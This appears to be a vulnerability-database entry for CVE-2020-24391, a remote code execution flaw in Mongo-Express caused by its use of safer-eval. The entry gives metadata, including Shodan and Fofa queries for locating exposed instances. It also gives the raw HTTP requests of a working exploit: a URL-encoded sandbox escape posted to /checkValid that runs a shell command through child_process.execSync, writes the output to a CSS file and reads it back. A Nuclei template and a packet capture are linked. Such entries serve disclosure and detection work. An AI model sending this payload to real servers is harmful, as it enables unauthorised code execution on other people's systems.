| Title | Mongo-Express - Remote Code Execution |
|---|---|
| Author | leovalcante |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92863 |
| CVE ID | CVE-2020-24391 |
| Shodan Query | http.title:"mongo express" |
| Fofa Query | title="mongo express" |
| Tags | cve cve2020 mongo express rce intrusive mongo-express_project node.js vuln |
Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /checkValid HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Content-Length: 399
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F38FSMI3wxZWYNbTO84OsLfaBU5p.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++
GET /public/css/38FSMI3wxZWYNbTO84OsLfaBU5p.css HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24391.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-24391.pcap
N/AN/A